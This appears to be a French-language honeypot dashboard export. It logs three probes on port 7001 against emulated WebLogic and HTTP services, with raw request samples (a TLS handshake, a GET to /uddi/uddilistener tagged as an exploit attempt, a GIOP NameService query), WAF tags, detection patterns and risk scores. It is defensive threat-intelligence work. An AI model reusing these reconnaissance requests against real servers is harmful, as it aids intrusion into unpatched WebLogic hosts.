�HR�� I��K �>����b�V�I}^�S����� �.;v�2% -Ȋ.�P�C�$0�U����g��u�3 >�,�0 �̨̩̪�+�/ ��$�( k�#�' g� � 9� � 3 � � = < 5 / � u # 0 . + - 3 &
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 517,
"payload_entropy": 3.9616695416687775,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 5.2,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "a513a8b6579875aee9e6cefbe17ae13f4cd756cc",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"matched_pattern_names": [
"Minecraft varint handshake",
"SIP TLS ClientHello",
"TFTP RRQ"
],
"pattern_ids": [
"pat-0554",
"pat-0578",
"pat-0536"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "cc4ddfcc2e44617a52fba9c1ae8f8b4c",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003HR\ufffd\ufffd\u000bI\ufffd\ufffdK\u001c\ufffd>\ufffd\ufffd\u0001\ufffd\ufffdb\ufffdV\ufffdI}^\ufffdS\ufffd\ufffd\u0006\ufffd\ufffd\ufffd \ufffd.;v\ufffd2%\u001e-\u020a.\ufffdP\ufffdC\ufffd$0\b\ufffdU\ufffd\ufffd\ufffd\ufffdg\ufffd\ufffdu\ufffd3\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"evidence": {
"request_sample": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003HR\ufffd\ufffd\u000bI\ufffd\ufffdK\u001c\ufffd>\ufffd\ufffd\u0001\ufffd\ufffdb\ufffdV\ufffdI}^\ufffdS\ufffd\ufffd\u0006\ufffd\ufffd\ufffd \ufffd.;v\ufffd2%\u001e-\u020a.\ufffdP\ufffdC\ufffd$0\b\ufffdU\ufffd\ufffd\ufffd\ufffdg\ufffd\ufffdu\ufffd3\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd\u0000\ufffd\u0000=\u0000<\u00005\u0000\/\u0000\ufffd\u0001\u0000\u0001u\u0000\u000b\u0000\u0004\u0003\u0000\u0001\u0002\u0000\n\u0000\f\u0000\n\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r\u00000\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b\n\b\u000b\b\u0004\b\u0005\b\u0006\u0004\u0001\u0005\u0001\u0006\u0001\u0003\u0003\u0002\u0003\u0003\u0001\u0002\u0001\u0003\u0002\u0002\u0002\u0004\u0002\u0005\u0002\u0006\u0002\u0000+\u0000\t\b\u0003\u0004\u0003\u0003\u0003\u0002\u0003\u0001\u0000-\u0000\u0002\u0001\u0001\u00003\u0000&\u0000",
"payload_snippet": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003HR\ufffd\ufffd\u000bI\ufffd\ufffdK\u001c\ufffd>\ufffd\ufffd\u0001\ufffd\ufffdb\ufffdV\ufffdI}^\ufffdS\ufffd\ufffd\u0006\ufffd\ufffd\ufffd \ufffd.;v\ufffd2%\u001e-\u020a.\ufffdP\ufffdC\ufffd$0\b\ufffdU\ufffd\ufffd\ufffd\ufffdg\ufffd\ufffdu\ufffd3\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a43fd6756e21f9c203e1c3f8691c0016c1d3e9c6",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003HR\ufffd\ufffd\u000bI\ufffd\ufffdK\u001c\ufffd>\ufffd\ufffd\u0001\ufffd\ufffdb\ufffdV\ufffdI}^\ufffdS\ufffd\ufffd\u0006\ufffd\ufffd\ufffd \ufffd.;v\ufffd2%\u001e-\u020a.\ufffdP\ufffdC\ufffd$0\b\ufffdU\ufffd\ufffd\ufffd\ufffdg\ufffd\ufffdu\ufffd3\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "\ufffdHR\ufffd\ufffdI\ufffd\ufffdK\ufffd>\ufffd\ufffd\ufffd\ufffdb\ufffdV\ufffdI}^\ufffdS\ufffd\ufffd\ufffd\ufffd\ufffd \ufffd.;v\ufffd2%-\u020a.\ufffdP\ufffdC\ufffd$0\ufffdU\ufffd\ufffd\ufffd\ufffdg\ufffd\ufffdu\ufffd3>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"classification_reason_label_fr": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100",
"confidence_pct": 85,
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 33,
"risk_label": "Faible",
"service_name": "weblogic",
"service_label_fr": "WEBLOGIC",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"INT-weblogic_console",
"INT-upstream"
],
"tags_summary_labels_fr": [
"Weblogic Console",
"Upstream"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-weblogic",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\ufffd\u0003\u0003HR\ufffd\ufffd\u000bI\ufffd\ufffdK\u001c\ufffd>\ufffd\ufffd\u0001\ufffd\ufffdb\ufffdV\ufffdI}^\ufffdS\ufffd\ufffd\u0006\ufffd\ufffd\ufffd \ufffd.;v\ufffd2%\u001e-\u020a.\ufffdP\ufffdC\ufffd$0\b\ufffdU\ufffd\ufffd\ufffd\ufffdg\ufffd\ufffdu\ufffd3\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\ufffd,\ufffd0\u0000\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\u0000\ufffd\ufffd$\ufffd(\u0000k\ufffd#\ufffd'\u0000g\ufffd\n\ufffd\u0014\u00009\ufffd\t\ufffd\u0013\u00003\u0000\ufffd",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"evidence_snippet": "\ufffdHR\ufffd\ufffdI\ufffd\ufffdK\ufffd>\ufffd\ufffd\ufffd\ufffdb\ufffdV\ufffdI}^\ufffdS\ufffd\ufffd\ufffd\ufffd\ufffd \ufffd.;v\ufffd2%-\u020a.\ufffdP\ufffdC\ufffd$0\ufffdU\ufffd\ufffd\ufffd\ufffdg\ufffd\ufffdu\ufffd3>\ufffd,\ufffd0\ufffd\u0329\u0328\u032a\ufffd+\ufffd\/\ufffd\ufffd$\ufffd(k\ufffd#\ufffd'g\ufffd\n\ufffd9\ufffd\t\ufffd3\ufffd",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 85 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "weblogic",
"service_banner": "honeypot-weblogic",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"net_weblogic_probe",
"tls_clienthello",
"weblogic_emulated"
]
}
24/07/2026 09:39:15 UTC
TCP
7001 · HTTP
Tentative d'exploit
exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /uddi/uddilistener
Élevée
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET /uddi/uddilistener UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/uddi/uddilistener
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
7001
Chemin / cible
/uddi/uddilistener
Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62%
Confiance classification
70%
Corrélation +8
Risque capteur
Moyen
· 52
Confiance : Confiance 62 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1190
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /uddi/uddilistener HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /uddi/uddilistener HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201
Requête brute (extrait)
GET /uddi/uddilistener HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 2,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "1a88b174929ba41cc10d8fe83c0aeac8221c190f",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 150,
"payload_entropy": 5.147418088050996,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 84,
"risk_classification": 72,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.6,
"risk_breakdown": {
"waf": 84,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15
},
"risk_score": 52,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "040b6029d745bd5fabff8fd7e8d1d3603102b8df",
"event_fingerprint": "bae2e2ccef9578faf504b5d6d30b70e164e3820c",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"confidence": 0.7,
"classification_confidence": 0.7,
"precision_score": 73,
"precision_signals": [
"MITRE-T1190"
],
"kb_rule_ids": [
"MITRE-T1190"
],
"confidence_breakdown": {
"waf": 84,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 62,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "8d25cffd6aa696e9dac1ee4dbf77fa93",
"path_pattern_hash": "d29c5d30b53b218663d4efced7827a65"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 52
},
"payload_preview": "GET \/uddi\/uddilistener HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/201",
"method": "GET",
"path": "\/uddi\/uddilistener",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/uddi\/uddilistener HTTP\/1.1",
"request_sample": "GET \/uddi\/uddilistener HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/uddi\/uddilistener HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/201",
"evidence": {
"method": "GET",
"path": "\/uddi\/uddilistener",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/uddi\/uddilistener HTTP\/1.1",
"request_sample": "GET \/uddi\/uddilistener HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/uddi\/uddilistener HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/201",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c817936ec3a4d7eb02193386d3c1ca5ce825c1a7",
"protocol_details": {
"http_method": "GET",
"http_path": "\/uddi\/uddilistener",
"request_line": "GET \/uddi\/uddilistener HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/uddi\/uddilistener HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/201",
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/uddi\/uddilistener",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 70,
"confidence_breakdown": {
"waf": 84,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1190"
],
"tags_summary_labels_fr": [
"MITRE-T1190"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/uddi\/uddilistener",
"request_line": "GET \/uddi\/uddilistener HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/uddi\/uddilistener",
"evidence_snippet": "GET \/uddi\/uddilistener HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/201",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
]
}
24/07/2026 09:39:14 UTC
TCP
7001 · WEBLOGIC
weblogic probe
weblogic probe · via WEBLOGIC:7001 · (sonde / probe)
Élevée
Faible · 33
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
WEBLOGIC
WAF
—
Recommandation
Surveiller
Tags
net_weblogic_probe
weblogic_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
7001
Chemin / cible
—
Service
WEBLOGIC
Payload
GIOP NameService
Pourquoi cette classification : Type « weblogic_probe » (signaux protocolaires) · confiance 77%
Confiance classification
85%
Corrélation +8
Risque capteur
Faible
· 33
Confiance : Confiance 77 % — 2 signal(aux) capteur
Protocole émulé
1 Signaux
Weblogic Console
Upstream
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
RDP TPKT header
GIOP WebSphere IIOP
ET H.323 setup
NFS RPC mount
Minecraft varint handshake
User-Agent
—
Règles WAF
—
Payload (extrait)
GIOP NameService
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"bytes_in": 35,
"payload_entropy": 3.4133442623458246,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "weblogic",
"app_proto": "weblogic",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 8,
"risk_classification": 58,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 33,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "3209cb76d7a9ac3a6e65d8bcbb4694715e457ed2",
"event_fingerprint": "4ea7ffe7bc9ade2843b5e81016a496bfea35cfd6",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%",
"confidence": 0.85,
"classification_confidence": 0.85,
"precision_score": 87,
"precision_signals": [
"INT-weblogic_console",
"INT-upstream"
],
"kb_rule_ids": [
"INT-weblogic_console",
"INT-upstream"
],
"matched_patterns": [
"pat-0348",
"pat-0605",
"pat-0868",
"pat-0532",
"pat-0554"
],
"matched_pattern_names": [
"RDP TPKT header",
"GIOP WebSphere IIOP",
"ET H.323 setup",
"NFS RPC mount",
"Minecraft varint handshake"
],
"pattern_ids": [
"pat-0348",
"pat-0605",
"pat-0868",
"pat-0532",
"pat-0554"
],
"confidence_breakdown": {
"waf": 8,
"classification": 58,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 33,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "weblogic",
"risk_confidence_factor": 77,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "3ee188bd883954b153869cc7ff2dcd2b",
"path_pattern_hash": "a179ef516d6662010534ca5ee85ea8d3"
},
"target_context": {
"dst_port": 7001,
"service": "weblogic",
"service_name": "weblogic",
"risk_score": 33
},
"payload_preview": "GIOP\u0001\u0002\u0000\u0003\u0000\u0000\u0000\u0017\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000bNameService",
"request_sample": "GIOP\u0001\u0002\u0000\u0003\u0000\u0000\u0000\u0017\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000bNameService",
"payload_snippet": "GIOP\u0001\u0002\u0000\u0003\u0000\u0000\u0000\u0017\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000bNameService",
"evidence": {
"request_sample": "GIOP\u0001\u0002\u0000\u0003\u0000\u0000\u0000\u0017\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000bNameService",
"payload_snippet": "GIOP\u0001\u0002\u0000\u0003\u0000\u0000\u0000\u0017\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000bNameService",
"classification_reason": "Type \u00ab weblogic_probe \u00bb (signaux protocolaires) \u00b7 confiance 77%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"enterprise_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "32a735f74cd5fb996b0f724955bcbbc5af2b3bed",
"protocol_details": {
"payload_preview": "GIOP\u0001\u0002\u0000\u0003\u0000\u0000\u0000\u0017\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000bNameService",
"port": 7001,
"service": "weblogic",
"service_label_fr": "WEBLOGIC"
},
"evidence_snippet": "GIOPNameService",
"attack_vector": "weblogic probe \u00b7 via WEBLOGIC:7001 \u00b7 (sonde \/ probe)",
"target_port_label": "7001 \u00b7 WEBLOGIC",
"emulator_service": "weblogic",
"confidence_reason": "Confiance 77 % \u2014 2 signal(aux) capteur",
"site_display": {
"classification": null,
